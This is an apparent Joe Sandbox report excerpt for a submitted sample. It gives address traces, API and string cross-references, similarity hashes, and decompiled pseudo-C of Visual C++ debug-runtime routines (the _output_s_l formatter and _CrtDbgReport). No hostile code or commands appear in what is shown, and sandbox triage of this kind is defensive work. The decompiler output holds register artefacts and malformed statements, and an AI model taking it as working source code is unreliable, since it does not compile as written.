0x00b96fc0
0x00b96fc5
0x00b96fcb
0x00b96fcd
0x00b96fcd
0x00b96fcb
0x00b96fd5
0x00b97020
0x00b97029
0x00b9702e
0x00b96fd7
0x00b96fdc
0x00b96ff8
0x00b97000
0x00b9700d
0x00b97012
0x00b97012
0x00000000
0x00b96fd5
0x00b96f79
0x00b96f80
0x00000000
0x00000000
0x00b96f82
0x00b96f82
0x00000000
0x00b96f82
0x00b96832
0x00b96832
0x00b96837
0x00b96853
0x00b9685b
0x00b96865
0x00b96868
0x00b9686d
0x00b97034
0x00b97041
0x00b97041
0x00b9687d
0x00b96883
0x00b968a3
0x00b96885
0x00b96892
0x00b96892
0x00b968a5
0x00000000
0x00b968a5

APIs

_get_int_arg.LIBCMTD ref: 00B967BE
__get_printf_count_output.LIBCMTD ref: 00B967CC
__invalid_parameter.LIBCMTD ref: 00B96853
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00B96868
_write_multi_char.LIBCMTD ref: 00B96DFB
_write_string.LIBCMTD ref: 00B96E16
_write_multi_char.LIBCMTD ref: 00B96E42
__mbtowc_l.LIBCMTD ref: 00B96EB1

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00B961C6, 00B961F6, 00B96814, 00B96844
("'n' format specifier disabled", 0), xrefs: 00B96808, 00B9684E
("Incorrect format specifier", 0), xrefs: 00B961BA, 00B96200
_woutput_s_l, xrefs: 00B961FB, 00B96849

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter__mbtowc_l_get_int_arg_write_string
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2386203720-1989478660
Opcode ID: ef549b90ded2b9d6967130d0073e7426e0a45d718ac501cd82bdc4eb7ad2b9c5
Instruction ID: 4a5f77017893636e53414a4362022a2088d1d736b5fe8d4cb24882136a759df4
Opcode Fuzzy Hash: ef549b90ded2b9d6967130d0073e7426e0a45d718ac501cd82bdc4eb7ad2b9c5
Instruction Fuzzy Hash: C7A15CB19002299BDF24DF54CC81BADB7F4EF44304F1481E9E6196B292EA749E84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00B8A1B7 Relevance: 26.4, APIs: 6, Strings: 9, Instructions: 100
windowCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00B8A1B7() {
				intOrPtr _t36;
				intOrPtr* _t37;
				void* _t40;
				void* _t48;
				void* _t62;
				void* _t63;
				signed int _t64;
				void* _t66;
				void* _t67;

				 *(_t64 - 0x114c) = "...";
				if( *((intOrPtr*)(_t64 + 0x14)) == 0) {
					 *(_t64 - 0x1150) = 0xb73356;
				} else {
					 *(_t64 - 0x1150) = "\nModule: ";
				}
				_push( *((intOrPtr*)(_t64 - 0x1124)));
				_push( *((intOrPtr*)(_t64 - 0x1128)));
				_push( *((intOrPtr*)(_t64 - 0x112c)));
				_push( *((intOrPtr*)(_t64 - 0x1130)));
				_push( *((intOrPtr*)(_t64 - 0x1134)));
				_push( *((intOrPtr*)(_t64 - 0x1138)));
				_push( *((intOrPtr*)(_t64 - 0x113c)));
				_push( *((intOrPtr*)(_t64 - 0x1140)));
				_push( *((intOrPtr*)(_t64 - 0x1144)));
				_push( *(_t64 - 0x114c));
				_push( *(_t64 - 0x1150));
				_push( *((intOrPtr*)(_t64 - 8)));
				_t61 =  *(_t64 + 8);
				_t53 = _t64 - 0x1010;
				_t36 = E00B8C5E0(_t64 - 0x1010, _t64 - 0x1010, 0x1000, 0xfff, "Debug %s!\n\nProgram: %s%s%s%s%s%s%s%s%s%s%s%s\n\n(Press Retry to debug the application)",  *((intOrPtr*)(0xb75220 +  *(_t64 + 8) * 4)));
				_t67 = _t66 + 0x44;
				 *((intOrPtr*)(_t64 - 0xc)) = _t36;
				if( *((intOrPtr*)(_t64 - 0xc)) < 0) {
					_t61 =  *(L00B80C60(_t53));
					E00B7DC00( *(L00B80C60(_t53)), 0x16, 0x22, L"(*_errno())", L"__crtMessageWindowA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrpt.c", 0x160, 0);
					_t67 = _t67 + 0x20;
				}
				_t37 = L00B80C60(_t53);
				_t54 =  *((intOrPtr*)(_t64 - 0x1120));
				 *_t37 =  *((intOrPtr*)(_t64 - 0x1120));
				if( *((intOrPtr*)(_t64 - 0xc)) < 0) {
					_t61 = _t64 - 0x1010;
					E00B7DBD0(E00B80CC0(_t48, _t54, _t62, _t63, _t64 - 0x1010, 0x1000, "_CrtDbgReport: String too long or IO Error"), _t44, L"strcpy_s(szOutMessage, 4096, \"_CrtDbgReport: String too long or IO Error\")", L"__crtMessageWindowA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrpt.c", 0x165, 0);
					_t67 = _t67 + 0x24;
				}
				 *((intOrPtr*)(_t64 - 0x111c)) = E00B901F0(_t64 - 0x1010, "Microsoft Visual C++ Debug Library", 0x12012);
				if( *((intOrPtr*)(_t64 - 0x111c)) == 3) {
					E00B87110(0x16);
					E00B85980(3);
				}
				if( *((intOrPtr*)(_t64 - 0x111c)) != 4) {
					_t40 = 0;
				} else {
					_t40 = 1;
				}
				return E00B805D0(_t40, _t48,  *(_t64 - 0x10) ^ _t64, _t61, _t62, _t63);
			}

0x00b8a1b7
0x00b8a1d1
0x00b8a1df
0x00b8a1d3
0x00b8a1d3
0x00b8a1d3
0x00b8a1ef
0x00b8a1f6
0x00b8a1fd
0x00b8a204
0x00b8a20b
0x00b8a212
0x00b8a219
0x00b8a220
0x00b8a227
0x00b8a22e
0x00b8a235
0x00b8a239
0x00b8a23a
0x00b8a254
0x00b8a25b
0x00b8a260
0x00b8a263
0x00b8a26a
0x00b8a28b
0x00b8a28e
0x00b8a293
0x00b8a293
0x00b8a296
0x00b8a29b
0x00b8a2a1
0x00b8a2a7
0x00b8a2c9
0x00b8a2d9
0x00b8a2de
0x00b8a2de
0x00b8a2fa
0x00b8a307
0x00b8a30b
0x00b8a315
0x00b8a315
0x00b8a321
0x00b8a32a
0x00b8a323
0x00b8a323
0x00b8a323
0x00b8a339

APIs

__snwprintf_s.LIBCMTD ref: 00B8A25B
__invoke_watson_if_oneof.LIBCMTD ref: 00B8A28E
_wcscpy_s.LIBCMTD ref: 00B8A2D0
__invoke_watson_if_error.LIBCMTD ref: 00B8A2D9
___crtMessageBoxW.LIBCMTD ref: 00B8A2F2
_raise.LIBCMTD ref: 00B8A30B

Strings

(*_errno()), xrefs: 00B8A27D
Microsoft Visual C++ Debug Library, xrefs: 00B8A2E6
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 00B8A2BA
__crtMessageWindowA, xrefs: 00B8A278, 00B8A2B5
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c, xrefs: 00B8A273, 00B8A2B0
..., xrefs: 00B8A1B7, 00B8A22E
Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application), xrefs: 00B8A245
Module: , xrefs: 00B8A1D3
_CrtDbgReport: String too long or IO Error, xrefs: 00B8A2BF

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: Message___crt__invoke_watson_if_error__invoke_watson_if_oneof__snwprintf_s_raise_wcscpy_s
String ID: Module: $(*_errno())$...$Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application)$Microsoft Visual C++ Debug Library$_CrtDbgReport: String too long or IO Error$__crtMessageWindowA$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")
API String ID: 1485069716-2339404796
Opcode ID: 28724d4d8763be83557e8038a051814e89bf27276f7246fb0cd284fdda0c4657
Instruction ID: 5c0ddd3bcaeb25980f213b2dcfc6551766cc1520b92da903ebae4d6ed9042731
Opcode Fuzzy Hash: 28724d4d8763be83557e8038a051814e89bf27276f7246fb0cd284fdda0c4657
Instruction Fuzzy Hash: 67318FB5A40218ABDB28EB94DC46FDAB3F4AB58B40F0081D9F31C762A1D7B05A80CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00B95295 Relevance: 23.0, APIs: 9, Strings: 4, Instructions: 225
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00B95295(void* __eflags) {
				intOrPtr _t495;
				signed int _t497;
				signed int _t503;
				void* _t508;
				signed int _t510;
				void* _t530;
				signed int _t548;
				void* _t558;
				signed int _t566;
				signed int _t593;
				void* _t621;
				void* _t622;
				signed int _t623;
				void* _t625;
				void* _t626;

				L0:
				while(1) {
					L0:
					_t495 = E00B93D50(_t623 + 0x14);
					_t626 = _t625 + 4;
					 *((intOrPtr*)(_t623 - 0x288)) = _t495;
					if( *((intOrPtr*)(_t623 - 0x288)) == 0) {
						goto L82;
					}
					L81:
					__ecx =  *(__ebp - 0x288);
					if( *(__ecx + 4) != 0) {
						L83:
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
						if(( *(__ebp - 0x10) & 0x00000800) == 0) {
							 *(__ebp - 0xc) = 0;
							__edx =  *(__ebp - 0x288);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x288);
							__edx =  *__ecx;
							 *(__ebp - 0x24) =  *__ecx;
						} else {
							__edx =  *(__ebp - 0x288);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x288);
							__eax =  *__ecx;
							asm("cdq");
							 *__ecx - __edx =  *__ecx - __edx >> 1;
							 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
							 *(__ebp - 0xc) = 1;
						}
						L86:
						while(1) {
							L190:
							if( *(_t623 - 0x28) != 0) {
								goto L216;
							}
							L191:
							if(( *(_t623 - 0x10) & 0x00000040) != 0) {
								if(( *(_t623 - 0x10) & 0x00000100) == 0) {
									if(( *(_t623 - 0x10) & 0x00000001) == 0) {
										if(( *(_t623 - 0x10) & 0x00000002) != 0) {
											 *((char*)(_t623 - 0x14)) = 0x20;
											 *(_t623 - 0x1c) = 1;
										}
									} else {
										 *((char*)(_t623 - 0x14)) = 0x2b;
										 *(_t623 - 0x1c) = 1;
									}
								} else {
									 *((char*)(_t623 - 0x14)) = 0x2d;
									 *(_t623 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t623 - 0x2c4)) =  *((intOrPtr*)(_t623 - 0x18)) -  *(_t623 - 0x24) -  *(_t623 - 0x1c);
							if(( *(_t623 - 0x10) & 0x0000000c) == 0) {
								E00B95E80(0x20,  *((intOrPtr*)(_t623 - 0x2c4)),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
								_t626 = _t626 + 0x10;
							}
							E00B95EC0( *(_t623 - 0x1c), _t623 - 0x14,  *(_t623 - 0x1c),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
							_t626 = _t626 + 0x10;
							if(( *(_t623 - 0x10) & 0x00000008) != 0) {
								if(( *(_t623 - 0x10) & 0x00000004) == 0) {
									E00B95E80(0x30,  *((intOrPtr*)(_t623 - 0x2c4)),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
									_t626 = _t626 + 0x10;
								}
							}
							if( *(_t623 - 0xc) == 0) {
								L212:
								E00B95EC0( *(_t623 - 4),  *(_t623 - 4),  *(_t623 - 0x24),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
								_t626 = _t626 + 0x10;
								goto L213;
							} else {
								L204:
								if( *(_t623 - 0x24) <= 0) {
									goto L212;
								}
								L205:
								 *(_t623 - 0x2dc) = 0;
								 *(_t623 - 0x2c8) =  *(_t623 - 4);
								 *(_t623 - 0x2cc) =  *(_t623 - 0x24);
								while(1) {
									L206:
									 *(_t623 - 0x2cc) =  *(_t623 - 0x2cc) - 1;
									if( *(_t623 - 0x2cc) == 0) {
										break;
									}
									L207:
									 *(_t623 - 0x32e) =  *( *(_t623 - 0x2c8));
									_t548 = E00B97890(_t623 - 0x2d0, _t623 - 0x2d8, 6,  *(_t623 - 0x32e) & 0x0000ffff);
									_t626 = _t626 + 0x10;
									 *(_t623 - 0x2dc) = _t548;
									 *(_t623 - 0x2c8) =  *(_t623 - 0x2c8) + 2;
									if( *(_t623 - 0x2dc) != 0) {
										L209:
										 *(_t623 - 0x24c) = 0xffffffff;
										break;
									}
									L208:
									if( *(_t623 - 0x2d0) != 0) {
										L210:
										E00B95EC0( *((intOrPtr*)(_t623 + 8)), _t623 - 0x2d8,  *(_t623 - 0x2d0),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
										_t626 = _t626 + 0x10;
										continue;
									}
									goto L209;
								}
								L211:
								L213:
								if( *(_t623 - 0x24c) >= 0) {
									if(( *(_t623 - 0x10) & 0x00000004) != 0) {
										E00B95E80(0x20,  *((intOrPtr*)(_t623 - 0x2c4)),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
										_t626 = _t626 + 0x10;
									}
								}
							}
							L216:
							if( *(_t623 - 0x20) != 0) {
								L00B7EB20( *(_t623 - 0x20), 2);
								_t626 = _t626 + 8;
								 *(_t623 - 0x20) = 0;
							}
							while(1) {
								L218:
								 *(_t623 - 0x251) =  *( *(_t623 + 0xc));
								_t594 =  *(_t623 - 0x251);
								 *(_t623 + 0xc) =  *(_t623 + 0xc) + 1;
								if( *(_t623 - 0x251) == 0 ||  *(_t623 - 0x24c) < 0) {
									break;
								} else {
									if( *(_t623 - 0x251) < 0x20 ||  *(_t623 - 0x251) > 0x78) {
										 *(_t623 - 0x310) = 0;
									} else {
										 *(_t623 - 0x310) =  *( *(_t623 - 0x251) +  &M00B77B58) & 0xf;
									}
								}
								L7:
								 *(_t623 - 0x250) =  *(_t623 - 0x310);
								_t510 =  *(_t623 - 0x250) * 9;
								_t566 =  *(_t623 - 0x25c);
								_t594 = ( *(_t510 + _t566 + 0xb77b78) & 0x000000ff) >> 4;
								 *(_t623 - 0x25c) = ( *(_t510 + _t566 + 0xb77b78) & 0x000000ff) >> 4;
								if( *(_t623 - 0x25c) != 8) {
									L16:
									 *(_t623 - 0x318) =  *(_t623 - 0x25c);
									if( *(_t623 - 0x318) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t623 - 0x318) * 4 +  &M00B95CD0))) {
										case 0:
											L18:
											 *(_t623 - 0xc) = 0;
											_t513 = E00B91090( *(_t623 - 0x251) & 0x000000ff, E00B7C680(_t623 - 0x40));
											_t629 = _t626 + 8;
											__eflags = _t513;
											if(_t513 == 0) {
												L24:
												E00B95DE0( *(_t623 - 0x251) & 0x000000ff,  *(_t623 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
												_t626 = _t629 + 0xc;
												goto L218;
											} else {
												E00B95DE0( *((intOrPtr*)(_t623 + 8)),  *(_t623 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
												_t629 = _t629 + 0xc;
												_t571 =  *( *(_t623 + 0xc));
												 *(_t623 - 0x251) =  *( *(_t623 + 0xc));
												_t594 =  *(_t623 + 0xc) + 1;
												__eflags = _t594;
												 *(_t623 + 0xc) = _t594;
												asm("sbb eax, eax");
												 *(_t623 - 0x27c) =  ~( ~( *(_t623 - 0x251)));
												if(_t594 == 0) {
													_push(L"(ch != _T(\'\\0\'))");
													_push(0);
													_push(0x486);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
													_push(2);
													_t525 = L00B7D760();
													_t629 = _t629 + 0x14;
													__eflags = _t525 - 1;
													if(_t525 == 1) {
														asm("int3");
													}
												}
												L22:
												__eflags =  *(_t623 - 0x27c);
												if( *(_t623 - 0x27c) != 0) {
													goto L24;
												} else {
													 *((intOrPtr*)(L00B80C60(_t571))) = 0x16;
													E00B809F0(_t558, _t571, _t621, _t622, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
													 *(_t623 - 0x2f4) = 0xffffffff;
													E00B7C650(_t623 - 0x40);
													_t503 =  *(_t623 - 0x2f4);
													goto L229;
												}
											}
										case 1:
											L25:
											 *(__ebp - 0x2c) = 0;
											__edx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											__eax =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__ecx =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) = __ecx;
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L218;
										case 2:
											L26:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											__eflags =  *(__ebp - 0x31c) - 0x10;
											if( *(__ebp - 0x31c) > 0x10) {
												goto L33;
											}
											L27:
											__ecx =  *(__ebp - 0x31c);
											_t74 = __ecx + 0xb95d08; // 0x498d04
											__edx =  *_t74 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t74 & 0x000000ff) * 4 +  &M00B95CF0))) {
												case 0:
													goto L30;
												case 1:
													goto L31;
												case 2:
													goto L29;
												case 3:
													goto L28;
												case 4:
													goto L32;
												case 5:
													goto L33;
											}
										case 3:
											L34:
											__edx =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__eax =  *(__ebp - 0x18);
												__eax =  *(__ebp - 0x18) * 0xa;
												__eflags = __eax;
												__ecx =  *((char*)(__ebp - 0x251));
												_t98 = __ecx - 0x30; // -48
												__edx = __eax + _t98;
												 *(__ebp - 0x18) = __eax + _t98;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x18) = E00B93D50(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __ecx;
													 *(__ebp - 0x10) = __ecx;
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
												}
											}
											goto L218;
										case 4:
											L40:
											 *(__ebp - 0x30) = 0;
											goto L218;
										case 5:
											L41:
											__eax =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__edx =  *(__ebp - 0x30);
												__edx =  *(__ebp - 0x30) * 0xa;
												__eflags = __edx;
												_t109 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
												__ecx = __edx + _t109;
												 *(__ebp - 0x30) = __ecx;
											} else {
												__ecx = __ebp + 0x14;
												 *(__ebp - 0x30) = E00B93D50(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L218;
										case 6:
											L47:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											__eflags =  *(__ebp - 0x320) - 0x2e;
											if( *(__ebp - 0x320) > 0x2e) {
												L70:
												goto L218;
											}
											L48:
											__ecx =  *(__ebp - 0x320);
											_t117 = __ecx + 0xb95d30; // 0x553e9003
											__edx =  *_t117 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t117 & 0x000000ff) * 4 +  &M00B95D1C))) {
												case 0:
													L53:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc));
													__eflags =  *( *(__ebp + 0xc)) - 0x36;
													if( *( *(__ebp + 0xc)) != 0x36) {
														L56:
														__edx =  *(__ebp + 0xc);
														__eax =  *( *(__ebp + 0xc));
														__eflags =  *( *(__ebp + 0xc)) - 0x33;
														if( *( *(__ebp + 0xc)) != 0x33) {
															L59:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x64;
															if( *( *(__ebp + 0xc)) == 0x64) {
																L65:
																L67:
																goto L70;
															}
															L60:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x69;
															if( *__ecx == 0x69) {
																goto L65;
															}
															L61:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x6f;
															if(__ecx == 0x6f) {
																goto L65;
															}
															L62:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x75;
															if( *( *(__ebp + 0xc)) == 0x75) {
																goto L65;
															}
															L63:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x78;
															if( *__ecx == 0x78) {
																goto L65;
															}
															L64:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x58;
															if(__ecx != 0x58) {
																 *(__ebp - 0x25c) = 0;
																goto L18;
															}
															goto L65;
														}
														L57:
														__ecx =  *(__ebp + 0xc);
														__edx =  *((char*)(__ecx + 1));
														__eflags =  *((char*)(__ecx + 1)) - 0x32;
														if( *((char*)(__ecx + 1)) != 0x32) {
															goto L59;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) = __ecx;
															goto L67;
														}
													}
													L54:
													__ecx =  *(__ebp + 0xc);
													__edx =  *((char*)(__ecx + 1));
													__eflags =  *((char*)(__ecx + 1)) - 0x34;
													if( *((char*)(__ecx + 1)) != 0x34) {
														goto L56;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) = __ecx;
														goto L67;
													}
												case 1:
													L68:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													goto L70;
												case 2:
													L49:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc));
													__eflags = __ecx - 0x6c;
													if(__ecx != 0x6c) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L70;
												case 3:
													L69:
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													goto L70;
												case 4:
													goto L70;
											}
										case 7:
											L71:
											__ecx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x324) = __ecx;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											__eflags =  *(__ebp - 0x324) - 0x37;
											if( *(__ebp - 0x324) > 0x37) {
												goto L190;
												do {
													do {
														while(1) {
															L190:
															if( *(_t623 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
														L186:
														__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L188:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L189:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L190:
													if( *(_t623 - 0x28) != 0) {
														goto L216;
													}
													goto L191;
												}
											}
											L72:
											_t158 =  *(__ebp - 0x324) + 0xb95d9c; // 0xcccccc0d
											__ecx =  *_t158 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M00B95D60))) {
												case 0:
													L122:
													 *(__ebp - 0x2c) = 1;
													__ecx =  *((char*)(__ebp - 0x251));
													__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
													__eflags = __ecx;
													 *((char*)(__ebp - 0x251)) = __cl;
													goto L123;
												case 1:
													L73:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													}
													goto L75;
												case 2:
													L87:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L89;
												case 3:
													L146:
													 *(__ebp - 0x260) = 7;
													goto L148;
												case 4:
													goto L0;
												case 5:
													L123:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__eax = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L125:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L128:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L130:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L00B7DEA0(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__eax =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__eax =  *(__ebp + 0x14);
															__ecx =  *(__eax - 8);
															__edx =  *(__eax - 4);
															 *(__ebp - 0x2a8) =  *(__eax - 8);
															 *(__ebp - 0x2a4) =  *(__eax - 4);
															__ecx = __ebp - 0x40;
															_push(E00B7C680(__ebp - 0x40));
															__eax =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__ecx =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__edx =  *((char*)(__ebp - 0x251));
															_push( *((char*)(__ebp - 0x251)));
															__eax =  *(__ebp - 0x44);
